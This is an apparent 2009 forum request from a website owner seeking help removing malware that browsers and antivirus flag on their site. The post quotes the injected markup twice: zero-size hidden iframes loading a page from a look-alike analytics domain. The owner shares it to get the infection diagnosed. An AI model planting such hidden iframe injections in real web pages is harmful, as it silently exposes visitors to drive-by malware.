Thursday, October 15, 2009

[WTB] Virus removal from server (website)

Posted on 11:21 AM by programlover








Hello,



Anyone good at hunting down a virus (mailware) on a website? And getting rid of it. If you van help let me know and cost time etc.



URL is http://www.oxy.co.uk



Bing and chrome has listed the site with a warning as may contain a virus.



When you vist the site virus software pops up to say that a virus (Nod32).



It spears to try and open a file called pdf.php when the site loads with a link to a google stats site in kiev? Please, see the screenshot.



Firefox reports the following as the problem in the body tag but I cannot find in the index.php




Code:
<iframe src="http://yourgoogleanalytics.co.uk/statscounter/3752088/counter.php" width="0" frameborder="0" height="0"></iframe>

Here is a snipet of the report from firefox




Code:
<body>

<iframe height="0" frameborder="0" width="0" src="http://yourgoogleanalytics.co.uk/statscounter/3752088/counter.php">

</iframe>

<iframe height="0" frameborder="0" width="0" src="http://yourgoogleanalytics.co.uk/statscounter/3752088/counter.php">

</iframe>

<div id="headerBG">

</div>

<div class="blockfixWrap">

</div>

<div id="panelstyles">

</div>

<div id="newsflashBG" class="style1">

</div>

<div id="mainlevel-bg">

</div>

<div class="clear"/>

<div id="bottomModsBG">

</div>

<div id="footerBG">

</div>

<div style="display: none;">

</div>

<script type="text/javascript">

</script>

<script type="text/javascript" src="http://www.google-analytics.com/ga.js">

</script>

<script type="text/javascript">

</script>

<div style="padding: 8px; overflow: hidden; display: block; position: absolute; width: 990px; margin-left: auto;">

</div>

</body>

Regards,



Kaspar









Attached Thumbnails